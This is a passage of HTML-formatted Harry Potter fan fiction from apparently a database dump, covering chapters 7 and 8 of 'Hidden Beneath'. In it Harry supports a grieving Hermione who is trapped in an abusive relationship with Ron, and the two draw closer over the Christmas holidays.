style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Well I bought the locket and I\nhad Ginny get me the picture from your drawer,&#8221; Harry pointed to the silver\nlocket.&nbsp; &#8220;I shrunk the picture and put it\nin there.&#8221; He saw her head lower.&nbsp; &#8220;Did I\ndo something wrong?&#8221;&nbsp; He was worried he\nover stepped his bounds.<br>\n<br style="mso-special-character:line-break">\n<br style="mso-special-character:line-break">\n</p>\n\n<p class="MsoNormal" style="text-indent:.25in">She was a bit confused, why would\nhe do something like that; give her a gift like this?&nbsp; Hermione wondered what she would have to do\nfor him in return.&nbsp; Ron would surely make\nher pay him back either with body or with money. <i style="mso-bidi-font-style:\nnormal">&#8216;But Harry is not Ron,&#8217; </i>her head commented to her.&nbsp; Ever since she had met him he had been\nnothing but kind, he had never hurt her or made her feel small.&nbsp; <i style="mso-bidi-font-style:normal">&#8216;He\ngave me this gift not because he wants something; he gave it to me because he\nis my&#8230;friend.&#8217;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i>&nbsp;Hermione lifted her head looking at him.&nbsp;&#8220;No, it&#8217;s perfect.&#8221;&nbsp; She touched the small picture of her parents\nsmiling back at her.&nbsp; &#8220;Thank you so\nmuch.&#8221; She sniffled, without really thinking about it Hermione put her arms\naround him, hugging him.&nbsp; Harry returned\nher embrace; he didn&#8217;t push her away like Ron would have, just the thought of\nRon being horrid to her caused him to hold her just a little bit tighter.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;So I take it you like the gift?&#8221;\nHe said breaking the silence about the room.&nbsp;\nHarry felt Hermione&#8217;s head nod.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;It&#8217;s probably the most thoughtful\ngift I have ever received since my parents were alive.&nbsp; My parents were&#8230;&#8221; She took a breath, &#8220;Were\nkilled in a plane crash, they were on their way home from their anniversary,\nthey had gone to an island, Hawaii\nin America for\na week.&#8221; She closed her eyes; &#8220;The worst part of it was my father was on the\nphone with me while he was on the plane. I heard everything&#8230;the noises&#8230;the\nscreaming, and then&#8230;&#8221; She took a quiet pause. &#8220;Silence.&#8221;\nHermione was shaking as she remembered every detail of that night. </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I am so sorry Hermione,&#8221; Harry\nheld her so tight, as if she would disappear at any moment.&nbsp; He blinked a couple of times as he felt a\nstinging in his eyes, a tear managed to find its way down Harry&#8217;s cheek,\nanother was soon to follow.&nbsp; It had been\na really long time since he&#8217;d shed tears; he managed to keep everything bottled\nup.&nbsp; She was alone, like he was.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;You&#8217;re the first person I&#8217;ve\ntalked to about my parent&#8217;s death.&nbsp; The\nWeasleys never let me say one thing about them.&#8221;&nbsp; Hermione took a deep breath and rested her\nhead against his chest; she could hear the steady beating of his heart making\nher really feel at ease</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&#8216;How could anyone be so cold?&#8217;</i> Harry thought bitterly.&nbsp; He ran his fingers through her hair; she was\nbecoming more comfortable with his acts of comfort.&nbsp; Every night they had spoken she would end up\nin tears, only because she needed to get everything out.&nbsp; He wanted her to release her emotions like\nthat, for her to believe that she just wasn&#8217;t the walking dead.&nbsp; She had become so afraid and shut off from\neveryone; he could see sometime in the near future her taking a knife to her\nwrists or ending her own life with a spell.&nbsp;\nHe was not about to let her life go to waste.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Hermione,&#8221; Harry said softly, he\nwaited a few seconds but no answer came.&nbsp;\nHe looked down at her, tilting his face a bit to see that her eyes were\nclosed; her soft breathing told him that she was asleep.&nbsp; Harry smiled a little before gently pressing\nhis lips to her forehead then pulling back, continuing to look at her.&nbsp; Couldn&#8217;t Ron see that he was killing her\nslowly?&nbsp; Harry&#8217;s eyes narrowed in anger,\nRon doesn&#8217;t deserve an angel like this.&nbsp;\nHe would make sure that no harm will ever come to Hermione again; he\nwould protect her until there was not a single breath of air left in his body.&nbsp; That was a promise.<br>\n<br style="mso-special-character:line-break">\n<br style="mso-special-character:line-break">\n</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry sighed, he really should\nwake Hermione so she could return to the girl&#8217;s dorm, but he didn&#8217;t have the\nheart to rouse her and disturb her sleep.&nbsp;\nSo instead he shifted a bit so that he was lying on the couch with\nHermione slightly on top of him. Harry grabbed the blanket from the floor and\nplaced it over Hermione and himself.&nbsp;&nbsp; He\nthen set his enchanted Muggle watch to six in the morning, that way they would\nbe up before anyone came down the stairs.&nbsp;\nWithin a few moments Harry too was drifting off to sleep.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">======</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Well that&#8217;s it for chapter 7, hope\nyou all liked it.&nbsp; Remember to review,\nthose mean a so very much to me ^_^ Thanks, Ryoko Blue</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(24, 8, ' <p>Disclaimer: Disclaimer: Not mine, Not mine, Definitly not mine. The entire HP world belongs to JK Rowlings</p>\n\n<p>Hidden Beneath</p>\n\n<p>Chapter 8&#8212;Let it Snow</p>\n\n<p>At breakfast, Harry kept letting his eyes drift up to Hermione from across the table, even though she didn&#8217;t show it he knew she was a lot happier since the first time he had seen her coming into the train compartment with Ron on the Hogwarts Express.&nbsp; He watched her lift a piece of ham into her mouth and chew slowly.&nbsp; He also saw Ron&#8217;s hand come up and cover hers on the table, staking his claim from the prying eyes for any male within one foot of her.</p>\n\n<p>The owls arrived promptly at <st1:time minute="30" hour="19">seven thirty</st1:time> delivering mail, a note with a red satin bow tied around an envelope fell onto Ron&#8217;s plate he began to open it and read silently to himself.</p>\n\n<p>Professor McGonagall quickly made her way over to the Gryffindor table; she looked for Harry and found him sitting near the middle of the table and she hurried over. &#8220;Excuse me, Mr. Potter may I speak with you for a moment?&#8221;</p>\n\n<p>Harry looked up at her and nodded, &#8220;Sure thing.&#8221; He smiled and set down his cup, wiped his hands on the napkin and stood up from the table going in the direction following after the professor.</p>\n\n<p>Hermione looked at Ron, &#8220;So, what&#8217;s in the letter?&#8221;<br>\n\n<br>\n\n</p>\n\n<p>&#8220;Hmm?&#8221; Ron said, still reading finishing it up.&nbsp; He folded it up putting it inside his pocket within his robe. &#8220;Oh, well it&#8217;s from my mother.&nbsp; She&#8217;s requesting us to come home a bit earlier for Christmas this year since we&#8217;re going to visit my older brothers, she already contacted Dumbledore and everything.&#8221;</p>\n\n<p>&#8220;Oh,&#8221; Hermione looked at the plate.&nbsp; &#8220;When do we leave?&#8221;</p>\n\n<p>Ron chuckled, &#8220;We? You aren&#8217;t going, just Ginny and I.&nbsp; She only wants family going this year.&nbsp; And you certainly are not family.&#8221;&nbsp; He continued to laugh.&nbsp; &#8220;I can&#8217;t believe you were stupid enough to believe you were going.&#8221;</p>\n\n<p>Hermione, who had no emotion visible on her face continued on with her breakfast.&nbsp;&nbsp;&nbsp; She dare not give off a smile but she was actually looking forward to this Christmas. No Ron, if she could giggle she would have.</p>\n\n<p>&#8220;And that&#8217;s enough food; you&#8217;re already looking like a whale.&#8221; Ron said.&nbsp; Something hit him in the back of the head, his face went SPLAT! right into his bowl of oatmeal, the lumpy liquid splashing everyone around him, including Lavender Brown who was on her way to pay a visit to Ron and his friends.&nbsp; </p>\n\n<p>Hermione fought hard to keep down her laughter; she lifted her eyes seeing Lavender who was really angry and muttering to herself while wiping oatmeal off the front of her clean robe.</p>\n\n<p>His head snapped up in anger.&nbsp; Who dared to even do that to him; he wiped off his face with the napkin. &#8220;Who did that?!&#8221; Ron demanded.&nbsp; Turning around he found Harry who had an eyebrow raised, looking at him.</p>\n\n<p>&#8220;Oh, I&#8217;m sorry did I hit you?&#8221; Harry was sarcastic. &#8220;It was a slip of the hand, much like you having a particular slip of the tongue just now.&#8221;</p>\n\n<p>Ron glared up at Harry he didn&#8217;t make any move yet, now was not the time.&nbsp; He forced an uncomfortable smile. &#8220;Of course, it was just a slip of the tongue.&#8221;&nbsp; He didn&#8217;t even look at Hermione, but he knew she was watching him, he could feel her eyes on his face.&nbsp; How dare this Harry Potter make him look like a fool in front of his girlfriend,&nbsp; Well he would make him pay, and pay dearly.&nbsp; &#8220;Hermione,&#8221; Ron said still without looking at her.&nbsp; &#8220;Let&#8217;s go.&#8221;&nbsp; He stood.</p>\n\n<p>Hermione quickly gathered up her belongings from off the floor and stood up, she started walking with Ron who had put his arm around her pulling her close to him as they made their way out of The Great Hall.</p>\n\n<p>Harry went to his classes, hours slipped by.&nbsp; Lunch came and swept away as if it didn&#8217;t make an impact in time at all.&nbsp; All day he had kept an eye on Hermione and Ron Several times Harry saw Ron rudely poking her and even whispering horrid things to her, but one look from Harry&#8217;s piercing green eyes would be enough for Ron to force a strained smile on his face and sit back.&nbsp; The day had dragged on, finally it was reaching <st1:time minute="0" hour="0">midnight</st1:time>.</p>\n\n<p>Hermione looked at herself in the mirror, she smiled at her reflection.&nbsp; In just twelve hours Ron would be leaving and she would have two and a half weeks without him.&nbsp; For once she actually felt happy.&nbsp; She couldn&#8217;t help it her smile reached from ear to ear, even though she was going to be alone, at least she could have some time to herself and not worry about Ron or anything Ron related.&nbsp; She stared a moment, thinking <i>&#8216;Whoa is that me with the pretty smile, yes it is!&nbsp; That is me.&#8217;</i>&nbsp; She could hardly believe it.&nbsp; Hermione hurried from her room for her <st1:time minute="0" hour="0">midnight</st1:time> meeting with Harry.</p>\n\n<p>Going down the stairs Hermione saw Harry playing with her Cinnamon, she stopped at the foot of the stairs watching them a bit; she wished Ron would treat Cinnamon like that.&nbsp; Harry tossed the worn out fuzzy ball in the air for Cinnamon to jump up and catch it in her mouth and start chewing it up.&nbsp; She heard Harry laugh a little bit and then pet her dog.&nbsp; </p>\n\n<p>&#8220;She likes to play fetch too.&#8221; Hermione spoke up.</p>\n\n<p>Harry turned around, smiling. &#8220;Yes we&#8217;ve been playing that for awhile.&#8221;&nbsp; </p>\n\n<p>Hermione walked over and sat in the fluffy red chair, &#8220;Have you been waiting long?&#8221;</p>\n\n<p>&#8220;Nah,&#8221; Harry said playing tug of war with Cinnamon.&nbsp; He noticed she was a bit quiet tonight.&nbsp; &#8220;Is everything all right?&#8221; Harry said pulling out his wand and charmed the ball to dart about the room so Cinnamon could go and chase it, he wanted to give Hermione his full attention.</p>\n\n<p>&#8220;Yes, why wouldn&#8217;t it be?&#8221; Hermione smiled a little.</p>\n\n<p>&#8220;I don&#8217;t know, you just seem really quiet that&#8217;s all.&#8221; Harry said leaning back against the couch.</p>\n\n<p>She tucked her legs under her and shifted in the seat getting more comfortable, &#8220;I&#8217;m always quiet.&#8221; </p>\n\n<p>Harry nodded, &#8220;That&#8217;s true.&#8221;</p>\n\n<p>&#8220;So what are you doing for Christmas holidays?&#8221; Hermione asked.</p>\n\n<p>&#8220;Well I&#8217;m going home to <st1:city><st1:place>Paris</st1:place></st1:city> for the holidays; I want to visit with some friends of mine.&#8221; Harry smiled.</p>\n\n<p>&#8220;It must be nice.&#8221; Hermione smiled a bit.</p>\n\n<p>&#8220;Yeah it is.&#8221; Harry really enjoyed where he lived, he had a nice sized flat on the top floor of a building overlooking the <st1:place>Seine</st1:place>.&nbsp; He shook his head clearing his mind of the thoughts of his home and glanced at Hermione, &#8220;What are you doing for the holidays?&#8221;</p>\n\n<p>&#8220;Nothing, just staying here.&#8221; Hermione leaned her head back against the chair back.</p>\n\n<p>&#8220;With Ron?&#8221; Harry asked slightly worried.</p>\n\n<p>Hermione shook her head, &#8220;No.&nbsp; Ron and Ginny are going to visit their brothers, and since I&#8217;m not family I&#8217;m not permitted to go.&#8221; She shrugged as if it made no difference to her.&nbsp;&nbsp;&nbsp; </p>\n\n<p>&#8220;So you&#8217;ll be here all by yourself?&#8221; Harry scooted closer to the edge of the couch, getting closer to her.</p>\n\n<p>&#8220;Oh I don&#8217;t mind that,&#8221; She gave a soft smile.</p>\n\n<p>Harry thought a moment; he didn&#8217;t want her to be here by herself, how lonely that must be.&nbsp; &#8220;Hey why don&#8217;t you come to <st1:city><st1:place>Paris</st1:place></st1:city> with me?&#8221;</p>\n\n<p>Hermione shook her head, &#8220;I couldn&#8217;t do that.&nbsp; Ron will be owling me everyday so I have to stay here, I don&#8217;t want him to be angry with me when he gets back.&#8221;&nbsp; She looked down at her fingers as she started to twist them a little.</p>\n\n<p>&#8220;Well then why don&#8217;t I stay here with you instead.&#8221; Harry offered.</p>\n\n<p>Her head snapped up, &#8220;Oh you shouldn&#8217;t have to change your plans for me.&#8221;</p>\n\n<p>&#8220;No it&#8217;s all right, I don&#8217;t mind.&#8221; Harry grinned.</p>\n\n<p>&#8220;But what about your friends, won&#8217;t they be disappointed if you don&#8217;t show up?&#8221; Hermione&#8217;s brows crinkled together in confusion.</p>\n\n<p>&#8220;They&#8217;ll understand, besides I can visit them during the summer.&nbsp; No big deal, really.&#8221; Harry said leaning forward a bit.</p>\n\n<p>&#8220;Well if you sure you want to waste your holidays&#8212;&#8221; Hermione was interrupted.</p>\n\n<p>&#8220;It&#8217;s not a waste, really it isn&#8217;t.&nbsp; You&#8217;ll see we&#8217;ll have fun.&#8221; Harry smiled.</p>\n\n<p>Hermione felt the urge to smile as well, so she did also giving a small nod.&nbsp; She couldn&#8217;t suppress the large yawn that fought its way out of her.&nbsp; &#8220;Maybe I should head up to bed.&#8221; Hermione started to stand.</p>\n\n<p>Harry nodded, &#8220;Good idea.&#8221;&nbsp; Harry remembered back in September when they both had fallen asleep down here in the common room, he had nearly gotten caught, good thing he always his invisibility cloak with him.&nbsp; He had covered her with it as Ron came down the stairs.&nbsp; He had pushed himself close to the end of the couch so that the cloak wasn&#8217;t touching him at all otherwise it would look really strange why people only saw the upper half of Harry sleeping there.&nbsp;&nbsp; He shook his mind of that memory and also stood from the couch.</p>\n\n<p>&#8220;When do Ron and Ginny leave?&#8221; Harry asked as he climbed the stairs with her.</p>\n\n<p>&#8220;Tomorrow.&#8221; Hermione looked at each step as they ascended the stairs.</p>\n\n<p>Harry nodded, &#8220;So they&#8217;re leaving early.&nbsp; Awww poor Neville.&#8221; Harry snickered.</p>\n\n<p>&#8220;Yeah, he really likes her he&#8217;ll miss her a lot.&#8221; Hermione said as she turned to go down the hall towards the girl&#8217;s dorms.&nbsp; &#8220;Uh&#8230; good night.&#8221;</p>\n\n<p>&#8220;Night.&#8221; Harry waved slightly and disappeared into the boy&#8217;s dorms, just as Hermione did inside the girls.</p>\n\n<p>Ron was walking in front of Hermione as she was carrying his heavy trunk towards the train; he was giving her the &#8216;what to do and what not to do&#8217; list.&nbsp; She was barely listening to him; his trunk was so heavy and she wondered why he made her carry it.&nbsp; </p>\n\n<p>&#8220;Now, what are you going to do when I&#8217;m gone?&#8221; Ron turned around facing her.<br>\n\n<br>\n\n</p>\n\n<p>&#8220;Absolutely nothing that would disgrace you.&#8221; Hermione said plainly.&nbsp; </p>\n\n<p>&#8220;That&#8217;s right.&nbsp; Oh and one more thing, now that I am gone most likely some certain males&#8221;&nbsp; <i>&#8216;Especially that Harry Potter&#8217;</i> Ron thought to himself he knew that boy was up to something.&nbsp; &#8220;Well they may think they can approach you.&nbsp; Don&#8217;t even talk to them, if you&#8217;re thinking oh Ron will never find out.&nbsp; Well you&#8217;re wrong. I&#8217;m having you monitored until the start of vacation when everyone goes home and then you&#8217;ll just be here alone.&#8221; </p>\n\n<p>&#8220;I understand.&#8221; Hermione said plainly again.</p>\n\n<p>Ron glanced around looking for that irritating Harry Potter and didn&#8217;t see him around; he grabbed Hermione by the arm giving it a squeeze.&nbsp; A sharp pain shot through Hermione&#8217;s arm and she dropped the trunk on his foot.</p>\n\n<p>&#8220;Oww shit!&#8221; Ron&#8217;s face crinkled up in agony, while he was hobbling around, &#8220;You stupid girl, how clumsy can you get?&#8221; He snarled and was clutching his foot now.&nbsp; He felt it throbbing, and what was that feeling&#8212; why was it burning?&nbsp; Ron was so mad that Hermione actually took a step back, &#8220;Don&#8217;t back away from me.&#8221; He was about to reach for her again when the train whistle blew.&nbsp; &#8220;You are damn lucky!&#8221; He shouted, causing her to flinch.</p>\n\n<p>&#8220;I&#8217;m sorry it was an accident.&#8221; Hermione&#8217;s voice trembled.</p>\n\n<p>Ron grabbed her by the front of the shirt pulling her hard against him, &#8220;Behave your self while I&#8217;m gone and perhaps I will forget about this trunk incident.&#8221; He saw Hermione nod and he crushed his mouth against hers in a bruising kiss, it was a kiss signifying that she already belonged to someone and no one better steal what&#8217;s his or else there will be hell to pay.&nbsp; </p>\n\n<p>He finally released her and Hermione took a step back as Ron picked up his trunk and boarded the train.&nbsp; She saw Ginny waving to her from a window and she gave a little wave back.&nbsp; Ginny lowered the window on the train, &#8220;I&#8217;ll bring you something from <st1:country-region><st1:place>Egypt</st1:place></st1:country-region>, Hermione.&#8221; Ginny beamed, waving happily.&nbsp; </p>\n\n<p>Hermione smiled a little and continued to wave as the train started pulling away from the station, after it was completely out of sight Hermione jumped up and down laughing.</p>\n\n<p>&#8220;You seem a little too happy there; what ever could be the reason?&#8221; A voice said.</p>\n\n<p>Hermione twisted around in all directions hearing a voice but not seeing anyone, &#8220;Who&#8217;s there?&#8221;</p>\n\n<p>&#8220;It&#8217;s me Hermione, its Harry.&#8221; The voice sounded offended.</p>\n\n<p>She glanced around, &#8220;Well where are you?&#8221;</p>\n\n<p>&#8220;I&#8217;m right next to you.&#8221; Harry said.</p>\n\n<p>Hermione felt the air in front of her hitting something solid, &#8220;Harry?&#8221;</p>\n\n<p>&#8220;Yeah.&#8221; He sighed.</p>\n\n<p>&#8220;I can&#8217;t see you. Why is that?&#8221; Hermione said trying to see where his face would be.</p>\n\n<p>&#8220;Oh duh, stupid me.&#8221; Harry removed his cloak and Hermione jumped back in shock. </p>\n\n<p>Hermione stared wide eyed, &#8220;How did you do that?&#8221;</p>\n\n<p>&#8220;It&#8217;s just an invisibility cloak.&#8221; Harry said with a smile, &#8220;It&#8217;s very handy.&#8221;</p>\n\n<p>&#8220;Yeah for sneaking into the girls locker rooms or sneaking in to&#8212;&#8221; Hermione glared at him, &#8220;That&#8217;s how you knew, you were in my room.&#8221;</p>\n\n<p>Harry looked guilty, &#8220;Yeah it&#8217;s true that&#8217;s how I knew about what was happening.&nbsp; But I didn&#8217;t disrespect you in any way. Honestly I didn&#8217;t.&#8221;&nbsp; He waited.</p>\n\n<p>Hermione sighed, &#8220;It was still wrong.&#8221;</p>\n\n<p>&#8220;I know it was and I am really sorry.&#8221; Harry pouted, &#8220;Don&#8217;t be angry, please.&nbsp; I&#8217;ll never do it again. I promise.&#8221;</p>\n\n<p>&#8220;All right, all right, just stop pouting.&#8221; Hermione said shaking her head back and forth.&nbsp; &#8220;In fact you better wear that thing when you&#8217;re talking to me; Ron said he has me watched until the start of Christmas holidays in three days.&#8221;&nbsp; Hermione said clutching her tattered red cloak to her body for warmth. </p>\n\n<p>&#8220;Here allow me.&#8221;&nbsp; Harry smiled and put the cloak over the both of them.&nbsp; &#8220;This way no can see me talking to you and Ron won&#8217;t get his lame ass report.&#8221; Harry grinned.</p>\n\n<p>Hermione nodded, she was surprised that the cloak was actually warming her up.&nbsp;&nbsp; </p>\n\n<p>&#8220;You really should get a new cloak, this one is so worn out and it&#8217;s got holes in it&#8221; He patted the material around her.</p>\n\n<p>&#8220;It&#8217;s good enough for me, I don&#8217;t need much.&#8221; Hermione turned her head looking at him, he was looking straight ahead and suddenly turned facing her, and he smiled. A small blush crept along her cheeks she realized she was staring and quickly glanced at the floor.&nbsp; </p>\n\n<p>&#8220;Something on your mind?&#8221; Harry asked still smiling.</p>\n\n<p>&#8220;Uh&#8230;no.&#8221; Hermione cleared her throat and that was the last thing that was spoken between them as they headed back to the castle.</p>\n\n<p>It wasn&#8217;t hard to figure out who was monitoring Hermione, for they were around her every second of the day.</p>\n\n<p>Hermione was reading in the library she knew those two goons were there in the room with her.&nbsp; &#8220;How much is Ron paying you to do this?&#8221; she said without looking up at them.</p>\n\n<p>&#8220;Pay? We could get paid?&#8221; Crabbe said to Goyle in astonishment.</p>\n\n<p>&#8220;Why haven&#8217;t we said anything to Weasley?&#8221; Goyle said gruffly.</p>\n\n<p>Harry came up behind the two goons and put his arms around their shoulders, &#8220;I think I can help you out, if you help me out.&#8221; Harry looked at both the boys.</p>\n\n<p>&#8220;What do you want Potter?&#8221; Crabbe said eyeing him suspiciously.</p>\n\n<p>&#8220;Let&#8217;s take a walk.&#8221; Harry ushered the two big goofs out of the library.&nbsp; &#8220;I think we can come to some kind of arrangement here.&#8221; He said leading them down a passageway.</p>\n\n<p>&#8220;What kind of arrangement?&#8221; Crabbe wondered.</p>\n\n<p>&#8220;This kind of arrangement.&#8221; Harry grinned and tickled the pear on the portrait, the fruit giggled and the large picture moved aside.&nbsp; &#8220;If you don&#8217;t report my talking with Hermione, I will give you food.&#8221; Harry replied.</p>\n\n<p>&#8220;How much food are we talking about here?&#8221; Goyle said.</p>\n\n<p>&#8220;How about all you can eat?&#8221; Harry answered.&nbsp; &#8220;This way gentlemen,&#8221; He gestured for them to enter through the archway.</p>\n\n<p>Harry walked behind Crabbe and Goyle as the entered the room; they stopped, staring in awe all around them, their jaws open in surprise. He smirked and approached the house elves then turning back to look at Crabbe and Goyle.&nbsp; &#8220;Don&#8217;t report that I&#8217;ll be spending some time with Hermione and you can have anything you want, anytime you want, night and day.&#8221;</p>\n\n<p>Crabbe, who was actually the smarter of the two spoke up, &#8220;And why should we agree with anything you say?&#8221;</p>\n\n<p>Harry shrugged, &#8220;Look at it this way&#8212; has Weasley ever given you anything to help him? Here I am offering you all the food in the world just to keep certain things quiet.&#8221; He nudged the large boy a bit with his elbow.</p>\n\n<p>&#8220;All right Potter, you&#8217;ve got a deal.&#8221; Crabbe said while Goyle simply nodded agreeing with his wide friend.</p>\n\n<p>Harry smiling turned to the house elf and said, &#8220;Give these boys whatever they want.&#8221;</p>\n\n<p>&#8220;Yes sir.&#8221; A house elf saluted and Crabbe and Goyle were surrounded by house elves that were serving them whatever the boys desired. While the two large boys stuffed their faces with cakes, pies and anything sweet, Harry took this opportunity to leave.&nbsp; He stepped out of the kitchen and headed back up to the library where he knew Hermione to still be there. </p>\n\n<p>Hermione was standing near a bookshelf thumbing through an old copy of Heroic Harpies and the Hardley Heartless Hermit.&nbsp; She was so engrossed in her reading that she failed to hear Harry come up behind her.&nbsp; A hand touched her shoulder and she freaked reaching behind her she grabbed an arm and used all her might to flip the person over her and land hard on the ground.&nbsp; </p>\n\n<p>She glanced at her hands in awe, &#8220;Wow it worked.&#8221; Hermione said in astonishment, she heard someone moaning a long slow agonizing owww from on the floor; she moved her hands and looked at who her attacker was.</p>\n\n<p>When she saw that it was Harry who was in pain lying on his back on the cold hard floor, a loud gasp echoed through the aisle. &#8220;Oh my goodness, are you all right?&nbsp; Did I hurt you?&#8221;&nbsp; Hermione felt awful; she was positive whatever friendship they had was now flying out the window, he surely hated her now.&nbsp;&nbsp; She kneeled down to his level feeling completely lost, she glanced at the floor between the two of them.&nbsp; &#8220;I am so sorry; I didn&#8217;t know it was you.&#8221; </p>\n\n<p>&#8220;Who did you think it would be?&#8221; Harry groaned. </p>\n\n<p>Hermione nodded feeling the urge to be really quiet, &#8220;You know you can still go home, you probably don&#8217;t want to be around me anymore.&#8221;</p>\n\n<p>&#8220;What? Why would I do that?&#8221; Harry looked at her slightly confused.</p>\n\n<p>Hermione still glanced at the floor, &#8220;You probably hate me now.&#8221;</p>\n\n<p>&#8220;No Hermione, I don&#8217;t hate you.&#8221; He saw her head lift and she looked right at him in astonishment.&nbsp; Harry smiled reassuringly.&nbsp; &#8220;You know if it wasn&#8217;t me writhing in agony on the floor, I would say that is one impressive move.&#8221; he said jokingly, even though he really was in pain he didn&#8217;t want her to feel bad; after all it really was just an accident.</p>\n\n<p>&#8220;You really think so?&#8221; Hermione half smiled.</p>\n\n<p>&#8220;Yes I do, after all I taught you that move didn&#8217;t I?&#8221; Harry said proudly trying not to grimace from the pain.</p>\n\n<p>Hermione nodded. &#8220;Here let me help you up.&#8221; She offered him her hand. </p>\n\n<p>Harry looked at it suspiciously, &#8220;Oh I don&#8217;t know what if you flip me again?&#8221;</p>\n\n<p>&#8220;I won&#8217;t.&#8221; Hermione said still feeling really bad.</p>\n\n<p>Harry took her hand and grasped it firmly, getting to his feet. He brought his arms up overhead and stretched, his body screaming out in pain, but he forced a smile onto his face. &quot;Look, I&#8217;m just fine.&#8221;&nbsp; He watched her a bit he had to make her feel better; he worried about her falling dangerously into depression.&nbsp; Harry was determined to make her holidays happy and carefree.</p>\n\n<p>&#8220;I honestly think it wouldn&#8217;t have worked, me flipping someone like that.&nbsp; It just seemed impossible.&#8221; Hermione said tucking a loose strand of hair behind her ear.</p>\n\n<p>His eyes took in the shiny appearance of her hair; he noticed there wasn&#8217;t just one shade of brown, but several dark strands and light strands mixed together. Harry&#8217;s hand lifted a bit and he touched the locks gently.&nbsp; Her hair was really soft as he threaded his fingers through it.</p>\n\n<p>Hermione looked up at him, &#8220;Uh&#8230;what are you doing?&#8221;</p>\n\n<p>&#8220;I&#8217;ve just wondered what your hair felt like; it always looks so soft and shiny.&#8221; He said almost in awe.</p>\n\n<p>&#8220;Oh.&#8221; Was all Hermione could say for the moment she looked up into his eyes, those deep pools of emerald green, she was lost within them.</p>\n\n<p>&nbsp; Harry&#8217;s gaze scanned her face, &#8216;<i>She really is pretty&#8230;&#8217; </i>&nbsp;he thought as his gaze continued to move and come to rest on her pink lips that looked really soft, he didn&#8217;t even notice that he cupped her face, tilting it upwards a bit.&nbsp; The world was becoming fuzzy as his mouth neared her own.</p>\n\n<p>Hermione&#8217;s eyes closed gently as his mouth was closer to hers, she could feel his gentle breathing on her face.&nbsp; Harry&#8217;s thumbs lightly tickled her cheeks, their lips were less than a millimeter away when the library door opened and Professor Snape walked inside carrying an old beat up book.&nbsp; </p>\n\n<p>After seeing her writing supplies on the table, he glanced around not finding a trace of her. &#8220;Miss Granger?&#8221; He called out.</p>\n\n<p>Both Harry and Hermione seemed to blink at the same time bringing them back to reality, reminding them of where they were and what they were about to do.&nbsp; Hermione practically jumped away from him a severe blush creeping all over her face.&nbsp; </p>\n\n<p>&#8220;Uh yes? I&#8217;m over here.&#8221; Hermione said her voice shaky and unsure, her hand was shaking as she shoved more lose strands of hair behind her ear.&nbsp; She glanced at the floor as she walked out from the book aisle.&nbsp; &#8220;I&#8217;m here Professor Snape.&#8221;</p>\n\n<p>&#8220;Oh good, thought I missed you.&#8221; He didn&#8217;t smile but he was pleased that he had found her.&nbsp; &#8220;Here&#8217;s that book you&#8217;ve been wanting to borrow.&#8221; Snape handed her the potions book.&nbsp; &#8220;I don&#8217;t know why you would want an old potions book anyway.&#8221;</p>\n\n<p>&#8220;I&#8217;m looking for a bravery potion; all the other ones don&#8217;t last long.&#8221; </p>\n\n<p>&#8220;Miss Granger, may I ask who this potion is for?&#8221; Snape glanced at her, his eyes narrowed suspiciously, he watched her closely.</p>\n\n<p>&#8220;It&#8217;s just an experiment I&#8217;m running sir; it&#8217;s for no one in particular.&#8221; She lied.</p>\n\n<p>Snape nodded, &#8220;Just be careful, messing around with emotions like this can have serious consequences.&#8221; He warned.</p>\n\n<p>Hermione nodded, &#8220;Of course sir.&#8221;</p>\n\n<p>&#8220;Miss Granger, if you ever need an ear to listen my office is always open.&#8221; Snape said emotionlessly.</p>\n\n<p>&#8220;Thank you sir.&#8221; Hermione turned and started putting her books away into her bag.</p>\n\n<p>Snape felt he was getting the cold shoulder but he knew she was hiding something.&nbsp; Something big.&nbsp; He remembered her from the first day of her education, she was always so eager and a big participant in class, over the years he noticed a decline in her willingness to answer questions.&nbsp; Her grades remained the same, strong and at the top.&nbsp; People thought he didn&#8217;t pay attention to his students, but he did and to him Hermione seemed like a young woman who was afraid of her own shadow.&nbsp; He just hoped that whatever problems she was having she would come to get help before it was too late.&nbsp; With that thought in mind Professor Snape swept from the library and carried on with the rest of his day.</p>\n\n<p>******</p>\n\n<p>Hermione was walking Cinnamon through the snowy grounds of Hogwarts; if she wasn&#8217;t trying to keep from freezing she would have been able to admire her surroundings, the grounds looked absolutely amazing with its thick blanket of pure virgin snow. </p>\n\n<p>Cinnamon was darting happily jumping up and landing in the snow creating cute little paw prints as she went along.&nbsp; Hermione didn&#8217;t have to hold a leash, her dog never wandered too far.&nbsp; She knelt down at petted her dog on the head who yelped happily,&nbsp; Hermione pulled from her pocket Cinnamon&#8217;s worn out fuzzy ball and threw it softly forward, her dog chased after it.&nbsp; After catching the foul fuzzy beast Cinnamon brought it back to her person.</p>\n\n<p>Hermione smiled and tried to take the ball from Cinnamon, who had no intention of letting go, they ended up playing a game of tug of war.&nbsp; Hermione laughed as the dog thought she won and pulled its prize from her person&#8217;s hands.&nbsp; Cinnamon jumped around and yelped with pure glee, then ran and jumped into Hermione&#8217;s arms giving her sweet little puppy kisses.&nbsp; Hermione actually giggled.</p>\n\n<p>From the stained glass window two stories up, Harry stood watching the scene 